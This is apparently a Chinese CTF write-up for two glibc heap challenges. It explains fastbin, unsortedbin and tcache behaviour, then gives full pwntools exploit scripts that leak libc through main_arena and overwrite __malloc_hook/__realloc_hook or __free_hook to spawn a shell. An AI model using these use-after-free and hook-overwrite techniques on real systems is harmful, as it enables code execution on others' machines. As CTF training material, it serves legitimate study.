ezheap1

前置知识

ubuntu16环境 ,libc-2.23 无tcache,堆小于0x80被释放后会到fastbins中,大于则会放在unsortedbins中

fastbins是单向链表,同一大小被释放的堆会在此处形成单向链表

unsortedbins是双向链表,被释放到此处的堆会形成双向链表,链表头部为main_arena

注意释放几个才可申请几个,若直接释放一个就只能再申请一个,因此想要多申请要利用堆里的漏洞

main_arena可以泄露libc,因此可以创建较大的堆后释放,使其进入unsortedbins,泄露main_arena的地址泄露libc

main_arena的偏移在libc源文件中malloc_trim函数里可以找到(后三位要看gdb进行修正)

malloc_hook

main_arena减0x10个字节地址为malloc_hook(libcbase+libc.symbols[]也可),malloc执行前会检查malloc_hook里指向的地址,若不为0,则先执行malloc_hook指向的地址在进行malloc开辟内存

realloc_hook

若realloc_hook不为0,则在realloc调用前会进行realloc_hook里的值,realloc里有大量的pop和push可以用来调栈,以防止onegadget不能用

题目分析

chunk被释放后依旧可以可以被修改,因此可以让chunk进入fastbins,把指向后面链表修改为指针指向malloc_hook的位置,注意要偏移一下,因为fastbins会对申请的区域进行检查,而malloc_hook是被保护的地方,不能直接申请

首先申请较大的chunk,释放后在打印,可直接泄露main_arena进而泄露libc

之后再释放两个小chunk,覆盖fastbins前面的chunk让其指向realloc_hook的偏移,realloc和malloc在一起可以一起覆盖

malloc_hook里存放realloc或其偏移用于调栈并调用realloc_hook里的函数,realloc_hook存放one_gadget用于获得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import*
from LibcSearcher import*
#context(log_level='debug',arch='amd64',os='linux')


r=process('./ezheap1')
#r=remote('127.0.0.1',37131)
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')


def add(size):
r.recvuntil(b'choice: ')
r.sendline(b'1')
r.recvuntil(b'Size: ')
r.sendline(str(size))
def move(index):
r.recvuntil(b'choice: ')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(str(index))

def show(index):
r.recvuntil(b'choice: ')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(str(index))

def edit(index,content):
r.recvuntil(b'choice: ')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(str(index))
r.recvuntil(b'name: ')
r.send(content)


add(0x80)
add(0x80)
move(0)
add(0x80)
show(0)
addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(addr))
base=addr-0x3c4b78+0x1000
onegadget=base+0xf0897
malloc=base+libc.symbols['__malloc_hook']
realloc=base+libc.symbols['realloc']
#print(hex(base))
print(hex(base))
print(hex(realloc-base))
print(hex(malloc))
print(hex(realloc))
print(hex(onegadget))


ptr=base+0x3c9890
#print(hex(ptr))
add(0x68)
add(0x68)
move(3)
#edit(3,p64(malloc-0x13))
move(4)
#move(3)
add(0x10)
move(5)
edit(5,p64(malloc))
#add(0x68)
gdb.attach(r)
edit(3,p64(malloc-0x23))
add(0x68)
add(0x68)
add(0x68)
payload=b'\x00'*11+p64(onegadget)+p64(realloc+0xd)#02468bcd

edit(8,payload)
#edit(5,payload)
#add(0x20)
#add(0x20)
#gdb.attach(r)
add(0x10)

r.interactive()

'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''


ezheap2

前置知识

源文件与第一题一模一样,但ubuntu 20的环境

free_hook

同malloc_hook再调用free前会检查free_hook,但chunk里的值可以作为free_hook里函数的参数,例如chunk里存放binsh,free_hook里存放system,则free时直接获得shell

题目分析

前七个被释放的chunk会进入tcache,tcahce没有任何检查,比第一题简单,因此申请free_hook不用加任何偏移。

这题用malloc_hook会发现即使调栈也无法满足onegadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
from LibcSearcher import*
#context(log_level='debug',arch='amd64',os='linux')


r=process('./ezheap2')
#r=remote('127.0.0.1',32959)
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')


def add(size):
r.recvuntil(b'choice: ')
r.sendline(b'1')
r.recvuntil(b'Size: ')
r.sendline(str(size))
def move(index):
r.recvuntil(b'choice: ')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(str(index))

def show(index):
r.recvuntil(b'choice: ')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(str(index))

def edit(index,content):
r.recvuntil(b'choice: ')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(str(index))
r.recvuntil(b'name: ')
r.send(content)


add(0x4f8)
add(0x10)
move(0)
show(0)
addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(addr))
#0x1ebb80

base=addr-0x1ebbe0
print(hex(base))
#malloc=base+libc.symbols['__malloc_hook']
#print(hex(malloc))
#realloc=base+libc.symbols['realloc']
#onegadget=base+0xe6af4
freehook=base+libc.symbols['__free_hook']
print(hex(freehook))
system=base+libc.symbols['system']
add(0x4f8)

add(0x68)

add(0x68)
move(3)
move(4)
#move(3)

edit(4,p64(freehook))
add(0x68)
add(0x68)
edit(6,p64(system))
add(0x68)
edit(7,b'/bin/sh\x00')


#gdb.attach(r)
move(7)

r.interactive()


'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''